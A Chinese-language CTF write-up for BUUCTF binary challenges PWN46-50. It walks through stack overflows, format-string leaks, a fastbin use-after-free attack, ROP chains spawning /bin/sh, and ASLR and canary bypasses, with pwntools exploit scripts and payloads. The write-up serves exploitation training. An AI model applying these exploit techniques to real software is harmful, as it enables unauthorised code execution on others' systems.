1. 解题环境与工具准备
作为一名长期活跃在CTF赛场的二进制选手,每次解题前我都会确保环境配置万无一失。对于BUUCTF的PWN46-50这组题目,推荐使用Ubuntu 20.04 LTS作为基础环境,配合以下工具链:
# 基础工具 sudo apt install -y python3 python3-pip git curl # PWN专用工具 pip3 install pwntools --upgrade sudo apt install -y gdb gcc-multilib # 增强型GDB插件 git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh注意:不同版本的libc可能导致偏移计算出现差异,建议使用题目提供的libc版本。遇到段错误时先用
file命令检查二进制架构,32位程序需要安装gcc-multilib。
2. 题目分析与漏洞定位
2.1 PWN46 - 栈溢出基础题
拿到题目首先用checksec检查防护机制:
[*] '/pwn46' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)关键漏洞点在vuln()函数:
void vuln() { char buf[64]; read(0, buf, 256); // 明显的栈溢出 }利用思路:
- 填充64字节覆盖缓冲区
- 继续覆盖EBP(4字节)
- 覆盖返回地址为后门函数
get_flag(0x8048512)
2.2 PWN47 - 格式化字符串漏洞
使用radare2分析发现存在格式化字符串漏洞:
printf(buf); // 用户可控输入利用步骤:
- 泄露栈上libc地址计算基址
- 通过
%n写入修改返回地址 - 覆盖为
system("/bin/sh")
实测时需要先发送%p*10确定偏移量,发现第7个参数开始出现栈数据。
3. 漏洞利用与Payload构造
3.1 PWN48 - 堆利用之fastbin attack
题目实现了一个简单的笔记系统:
struct Note { int size; char *content; };漏洞点在于删除笔记时未清空指针:
free(note->content); // 未置NULL导致UAF利用链构造:
- 创建两个note(chunk A和B)
- 释放A和B使其进入fastbin
- 修改B的fd指针指向伪造的chunk
- 申请新note获取到伪造chunk的控制权
关键payload:
# 修改fd指针指向__malloc_hook附近 payload = p64(libc_base + libc.sym['__malloc_hook'] - 0x23)3.2 PWN49 - ROP链构造技巧
面对NX防护需要构造ROP链,使用ROPgadget工具:
ROPgadget --binary pwn49 --ropchain特殊技巧:
- 使用
ret;指令对齐栈地址(解决movaps指令崩溃) - 通过
pop rdi; ret传递/bin/sh字符串地址 - 调用
system()前确保栈16字节对齐
典型payload结构:
payload = flat([ b'A'*offset, pop_rdi, binsh_addr, system_addr, ret_addr # 对齐用 ])4. 动态调试与问题排查
4.1 GDB调试技巧实录
遇到崩溃时建议使用:
gdb -q ./pwn50 r < payload关键调试命令:
cyclic 200生成测试patternx/20gx $rsp查看栈内存vmmap确认libc加载地址heap chunks查看堆状态(需pwndbg插件)
4.2 常见错误解决方案
SIGSEGV错误:
- 检查payload长度是否准确覆盖返回地址
- 确认地址是否包含非法字符(如0x0a换行符)
execve失败:
- 确保
/bin/sh字符串正确写入内存 - 检查环境变量是否被破坏(可尝试
execve替代system)
- 确保
栈对齐问题:
- 在ROP链开头添加额外
ret指令 - 使用
mov rsp, rbp等指令调整栈指针
- 在ROP链开头添加额外
5. 自动化脚本开发
使用pwntools模板提高效率:
from pwn import * context(arch='amd64', os='linux', log_level='debug') def exploit(): p = process('./pwn50') # 第一阶段:泄露地址 p.sendlineafter('>', '%7$p') libc_leak = int(p.recvline(), 16) libc_base = libc_leak - 0x3ec680 # 第二阶段:构造ROP链 rop = ROP(libc) rop.system(next(libc.search(b'/bin/sh'))) payload = flat({ 0x40: rop.chain() }) p.sendlineafter('>', payload) p.interactive() if __name__ == '__main__': exploit()优化技巧:
- 使用
context.timeout设置超时避免卡死 - 关键操作添加
pause()便于调试 - 对远程题目实现自动重连机制
6. 防护绕过进阶技巧
6.1 对抗ASLR
当遇到地址随机化时:
- 通过格式化字符串或堆地址泄露获取基址
- 计算目标函数相对偏移
- 动态构造payload
示例代码:
# 泄露libc地址 p.send(b'%15$p') libc_leak = int(p.recv(14), 16) libc.address = libc_leak - 0x3c4b786.2 绕过Stack Canary
对于存在canary的题目:
- 通过格式化字符串泄露canary值
- 在payload中保持canary不变
- 精确覆盖返回地址
关键payload结构:
payload = flat([ b'A'*offset, leaked_canary, b'B'*8, # 覆盖ebp target_address ])7. 赛后总结与提升建议
通过这组题目我总结了几个重要经验:
- 总是先完整逆向程序逻辑,不要急于构造payload
- 动态调试时善用
tbreak设置临时断点 - 对堆题目画内存示意图辅助分析
- 保留所有测试payload用于回归测试
推荐练习资源:
- how2heap 堆利用教程
- ROP Emporium ROP专项训练
- pwnable.kr 入门到进阶靶场